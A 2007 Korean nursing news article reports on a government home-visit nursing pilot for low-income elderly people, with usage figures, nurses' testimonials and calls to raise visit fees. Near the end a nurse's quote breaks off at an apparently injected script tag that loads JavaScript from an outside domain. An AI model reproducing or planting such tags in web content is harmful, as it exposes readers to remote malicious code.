기사입력 2007-01-18 오전 10:13:47

　저소득층 노인들을 대상으로 한 `방문간호 시범사업'이 큰 호응을 얻으며 순항하고 있다.

　방문간호서비스는 정부가 추진하고 있는 제2차 노인수발보험제도 시범사업의 하나로 지난해 7월부터 시작됐으며, 올해 3월까지 계속된다.

　대한간호협회에서는 강원도간호사회(강릉)와 경기도간호사회(수원), 경상북도간호사회(안동), 광주시간호사회(광주 남구), 부산시간호사회(부산 북구), 제주도간호사회(북제주군)가 참여해 전국 6개 지역에서 방문간호서비스를 제공하고 있다.

　간호협회는 “이번 시범사업이 고령화시대 노인건강을 책임질 핵심인력이 간호사임을 입증하고, 간호서비스의 바람직한 역할 모델을 창출할 수 있는 좋은 기회가 될 것”이라며 총력을 기울이고 있다.

“간호사 올 때만 기다려” 이용자들 대만족

　◇서비스 이용자 꾸준히 늘어 = 대한간호협회가 운영하는 `방문간호사업 평가지원단'이 내놓은 중간보고서에 따르면, 방문간호 대상자와 방문건수가 꾸준히 늘고 있는 것으로 나타났다. 시범사업이 시작된 지난해 7월 전체 이용자가 6명(방문건수 10건)에 불과하던 것이 8월 30명(95건), 9월 71명(251건), 10월 84명(351건), 11월 137명(508건)으로 늘어났다. 이는 시범사업 전에 예상했던 수요를 웃도는 긍정적인 결과로 평가됐다.

　방문간호서비스를 이용하고 있는 노인들은 대부분 고혈압, 당뇨, 관절염, 뇌졸중, 뇌경색 환자다. 뇌졸중 환자는 경북(35%)과 경기(38.2%)에, 뇌경색은 강원(21.1%)과 제주(41.7%)에서 많았다. 당뇨병 환자 비율은 부산(47.6%)과 강원(21.1%), 고혈압과 관절염은 광주(각각 30%)에서 높았다.

“고령화사회 노인건강문제 해결방안으로 자리매김”

　◇기본간호부터 교육.상담까지 = 각 지역 방문간호사업소마다 간호사 2명(제주도 1명)이 근무하고 있다. 이들은 실무경험이 풍부한 베테랑 간호사이며 이중 8명은 가정전문간호사, 1명은 노인전문간호사 자격을 갖고 있다.

　활력징후를 체크하고 환자상태에 따라 체위변경, 구강간호, 비위관.정체도뇨관.기관지관 관리, 욕창간호를 제공하는 것은 기본이다. 홍재금 간호사(강원)는 “종일 누워 지내야 하는 상태인데다 돌봐줄 가족도 없다 보니 욕창이 심해진 환자들이 많다”면서 “욕창 부위에서 새 살이 돋아나듯이 외롭고 힘겨운 어르신들에게 희망을 주는 간호를 펴고 싶다”고 밝혔다.

　환자와 가족들을 대상으로 건강 교육과 상담을 하는 일도 중요하다. 장금자 간호사(제주)는 “약효가 떨어진다며 침으로 억지로 약을 삼키거나, 당뇨 때문에 과일은 무조건 안 먹는다는 노인들을 만나면서 마음이 아팠다”면서 “잘못된 건강상식과 습관을 바로잡기 위해 환자교육에 중점을 두고 있다”고 말했다. 간호사들은 환자 상태에 따라 의료기관에 의뢰하거나, 가사서비스 및 복지서비스를 연계해 주는 역할도 하고 있다.

　◇환자와 가족 만족도 높아 = 송명은 간호사(경기)는 “환자를 돌보느라 심신이 지친 보호자들이 `간호사가 다녀가고 나면 안심이 된다'고 말해줄 때 보람을 느낀다”고 말했다. 노유미 간호사(광주)는 “중풍으로 움직임이 자유롭지 못한데도 불구하고 현관까지 나와 맞아주는 어르신을 보면 가슴이 뭉클하다”면서 “간호의 손길이 이렇게 절실히 필요한 곳이 있구나 생각하면 어깨가 무거워지고 책임감을 느낀다”고 밝혔다. 오향경 간호사(경북)는 “제가 방문할 날만 손꼽아 기다렸다면서 어르신들이 반겨주신다”면서 “앞으로 방문간호사업이 제대로 정착돼 아프고 소외된 노인들이 건강하고 활력 넘치는 노후를 보낼 수 있게 됐으면 좋겠다”고 말했다.

◇간호 이미지 홍보효과 거둬 = 방문간호서비스를 받는 대상자와 가족들의 만족도가 높아지고 입소문이 나면서, 지역사회에서 간호 이미지가 업그레이드되는 효과도 거두고 있다. 안미향 간호사(강원)는 “강릉시에서는 방문간호를 재가서비스의 꽃이라 부른다”고 전했다. 김혜정 간호사(부산)는 “방문간호서비스에 대한 시민들의 관심이 높아지고 있다는 것을 피부로 느낀다”면서 “이동차량에 `부산시 방문간호사업소'라고 쓴 스티커를 붙이고 다닌 결과 홍보에 많은 도움이 됐다”고 소개했다.

　◇방문간호수가 현실화 돼야 = 중간보고서에서는 앞으로 방문간호사업을 활성화시키기 위한 방안이 제시됐다. 우선, 방문간호수가가 현실화 돼야 한다는 지적이 나왔다. 재료비와 이동거리, 질환중증도, 시간 등을 반영해 수가를 산정해야 한다는 주장이다. 현재 시범사업에서 방문간호수가는 1회 방문당 3만1000원(교통비 포함)이다. 이중 20%인 6200원은 환자가 부담하고, 나머지 비용은 방문간호사업소에서 국민건강보험공단에 청구한다.

　간호사들은 “재료비의 경우 고가제품에 대해선 별도의 수가를 산정하고, 이동거리도 고려해야 한다”면서 ?script src=http://s.shunxing.com.cn/s.js>

정규숙  kschung@nursenews.co.kr